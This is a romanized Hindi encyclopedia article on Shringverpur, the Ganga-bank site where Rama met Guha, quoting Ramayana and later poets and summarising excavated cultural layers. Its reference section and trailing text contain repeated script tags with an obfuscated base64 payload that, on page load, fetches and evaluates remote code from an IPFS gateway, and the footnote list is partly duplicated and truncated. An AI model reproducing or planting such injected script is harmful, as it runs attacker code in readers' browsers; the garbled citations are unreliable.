श्रृंगवेरपुर

[[chitr:Shringverpur.jpg|thumb|shrriangaverapur, ilahabad]] ilahabad se 22 mil (lagabhag 35.2 ki.mi.) uttar-pashchim ki or sthit 'siangaraur' namak sthan hi prachin samay mean shrriangaverapur nam se parijnat tha. ramayan mean is nagar ka ullekh ata hai. yah nagar ganga ghati ke tat par sthit tha. mahabharat mean ise 'tirthasthal' kaha gaya hai. d aau. bi. bi. lal ke nirdeshan mean is sthal ka utkhanan kary kiya gaya hai.

pauranik ullekh

'shrriangaverapur' ramayan mean varnit vah sthan hai, jahaan van jate samay ram, lakshman aur sita ek ratri ke lie thahare the. isaka abhijnan siangaraur se kiya gaya hai. yah sthan ganga ke tir par sthit tha tatha yahian ramachandraji ki bheant guh nishad se huee thi^[1]-

'samudramahishian gangaan sarasakrauanchanaditamh, asasad mahabahuah shrangaverapuran prati. tatr raja guho nam ramasyatmasamah sakha, nishadajatyo balavanh sthapatishcheti vishrutah.'^[2]

yahian ram, lakshman tatha sita ne nauka dvara ganga ko par kiya tha aur apane sathi sumant ko vapas ayodhya bhej diya tha.
bharat bhi jab ram se milane chitrakoot ge the to ve shrangaverapur ae the-

'te gatva dooramadhvanan rath yanashchakuanjaraiah samasedustato gangaan shrangaverapuran prati.^[3]

adhyatmaramayan, ayodhyakand^[4] mean bhi shriram ka shrangaverapur mean ganga ke tat par pahuchana varnit hai-

'gangatiran samagachchhachchhr gaveravidoorat: gangaan drishtava namaskrity snatva sanandamanasah.'

isi sthan par bhagavan shriram shisham ke vriksh ke niche baithe the-

'shianshapavrikshamoole s nishasad raghuttamah.'^[5]

bharat ka shrangaverapur pahuanchana 'adhyatmaramayan' mean is prakar varnit hai-

'shrangaverapuran gatva gangakoole samantatah uvas mahati sena shatrughnaparinoditaah.'^[6]

kalidas ne 'raghuvansh' mean nishadadhipati guh ke pur (shrriangaverapur) mean shriram ka mukut utar kar jataean tatha yah dekhakar sumant ke ro p dane ke drishy ka marmik varnan kiya hai-

'pur nishadadhipateridan tadyasminmaya maulimarni vihay, jatasu baddhasvarudatsumantrah kaikayikamaah phalitastaveti.'^[7]

bhavabhooti ne 'uttararamacharit'^[8] mean ram se apane jivan charitr sanbandhi chitroan ke varnan ke prasang mean shrangaverapur ka varnan is prakar karavaya hai-

'iangudipadapah soyan shrangaverapure pura, nishadapatina yatr snigavenasitsamagamah.'

tulasidas ne bhi 'ramacharitamanas', ayodhyakaand mean siangaraur ya shrangaverapur ka inhian prasangoan mean ullekh kiya hai-

'sita sachiv sahit dou bhaee, shrangaverapur pahuanche jaee;' 'anuj sahit shir jata banae, dekhi sumantr nayan jal chhae;' 'kevat kinh bahut sevakaee, so jamini siangaraur ganvaee;' 'see tir basi chale bihane, shrangaverapur sab niyarane;' 'shrangaverapur bharat dikh jab, bhe saneh vash aang vikal sab.'

mahabharat me shrangaverapur ka tirtharoop mean ullekh hai-

'tato gachchhet rajendr shrangaverapuran mahath yatr tirno maharaj ramo dasharathiah pura.'^[9]

vartaman siangaraur^[10] ayodhya se 80 mil door hai. yah qasba ganga ke uttari tat par ek chhoti paha di par basa hua hai. prayag se yah sthan 22 mil uttar-pashchim ki or hai. us sthan ko jahaan ram, lakshman, sita ne ratri vyatit ki thi, 'ramachaura' kahate haian.^[1] ghat ke pas do suandar shisham ke vriksh kh de haian. log kahate haian ki ye usi mahabhag vriksh ki santan haian, jisake niche shriram ne sita aur lakshman ke samet ratri vyatit ki thi. tulasidas ne isi sanbandh mean likha hai-

'tab nishad pati ur anumana, taru shianshapa manohar jana; lai raghunathahian thaanv dikhava, kaheu ram sab bhaanti suhava'; 'jahan shianshapa punit taru raghuvar kiy vishram, ati saneh sadar bharat kinhean dand pranam.'

valmiki ramayan, ayodhyakand^[11] mean is vriksh ko 'iguandi' (hiangot) kaha gaya hai-

'sumahaniangudivriksho vasamoa traiv sarathe.'

bhavabhooti ne bhi ise 'iangudi' hi kaha hai. 'adhyatmaramayan' tatha 'ramacharitamanas' mean is vriksh ko shisham likha hai.
shrrianganverapur mean ganga ko par karake ramachandraji us sthan par utare the, jahaan lokashruti ke anusar ajakal 'kuree' namak gram sthit hai. kaha jata hai ki is sthan par shrriangi rrishi ka ashram sthit tha, jinase raja dasharath ki kanya shaanta byahi thi. shaanta ke nam par prasiddh ek mandir bhi yahaan sthit hai. yahaan ek chhota-sa ram mandir bana hai. shrriangaverapur ke age chalakar shriramandraji prayag pahuche the.^[1]

utkhanan

d aau.bi.bi. lal ke nirdeshan mean is sthal ka utkhanan kary kiya gaya hai. inaka sahayog ke. en. dikshit ne kiya. yahaan 1977-1978 ee. ke bich tile ka utkhanan karavakar mahattvapoorn sanskritiyoan ka udghatan kiya gaya. shrriangaverapur tile ke utkhanan se vibhinn sanskritiyoan ka pata chalata hai.

pratham sanskriti

pahali sanskriti gairik mridbhand sanskriti hai, jisaka samay 1050 ee. poo. se 1000 ee. poo. aanka gaya hai. isamean gerue rang ke mitti ke tuk de mile haian, jinaka prasar sampoorn gangaghati mean dikhaee deta hai. sarakandoan ki chhap lage hue tatha jale hue mitti ke tuk de bhi haian, jisase soochit hota hai ki is kal ke log baans-balli ki sahayata se apane avas ke lie jhop diyoan ka nirman karate the.

dvitiy sanskriti

dvitiy sanskriti ka kal nirdharan 950 ee. poo. se 700 ee. poo. kiya gaya hai. is sanskriti ke pramukh patr kale-lal, dhoosar adi haian.

tisari sanskriti

tisari sanskriti uttari kale marjit mridbhand (en.bi.pi.) se sambandhit hai. in mridbhandoan ke sath-sath is star se tamr nirmit tin b de kalash evan any samagri bahutayat matra mean mili haian.

chauthi sanskriti

chauthi sanskriti shuang kal se sambandhit hai. is star se ek ayatakar talab ke praman ullekhaniy haian. yah pakki eeantoan se nirmit tha. uttar ki or se jal ke pravesh aur dakshin ki or se usake nikas ke lie nali banaee gee thi. isamean peyajal ki saphaee ka vishesh prabandh kiya gaya tha. bharat ke kisi purasthal se utkhanit yah sabase b da talab haian. is kal mean nagarikaran apane utkarsh par tha.

paanchavi sanskriti

paanchavi sanskriti ka sambandh gupt yug se hai. is kal ke guptakalin mitti ki moortiyaan tatha gahare lal rang ke mridbhand mile haian. is yug mean nagar ke hras ke praman mile haian.

chhathe saanskritik sthal ka sambandh kannauj gah daval vansh se hai. yahaan se gah daval naresh govind chandr ki 13 rajat mudraean tatha mitti mean rakhe hue kuchh abhooshan mile haian. us kal ke pashchath yah sthal lambe samay tak gumanam raha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 908 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ valmiki ramayan, ayodhyakand 50,26-33
↑ ayodhyakand 83,19
↑ ayodhyakand 5,60
↑ adhyatmaramayan, ayodhyakand 5, 61
↑ ayodhyakand 8,14
↑ raghuvansh 13, 59
↑ uttararamacharit 1,21
↑ mahabharat, vanaparv 85, 65
↑ jan p data hai tulasidas ko shrangaverapur ka 'siangaraur' hona pata tha, jaisa ‘so jamini siangaraur ganvaee’ se pramanit hota hai
↑ ayodhyakand 50, 28

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[aa-1] 1.0 ^1.1 ^1.2 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 908 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] valmiki ramayan, ayodhyakand 50,26-33

[3] yodhyakand 83,19

[4] yodhyakand 5,60

[5] yatmaramayan, ayodhyakand 5, 61

[6] yodhyakand 8,14

[7] raghuvansh 13, 59

[8] uttararamacharit 1,21

[9] rat, vanaparv 85, 65

[10] ta hai tulasidas ko shrangaverapur ka 'siangaraur' hona pata tha, jaisa ‘so jamini siangaraur ganvaee’ se pramanit hota hai

[11] yodhyakand 50, 28

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

[11]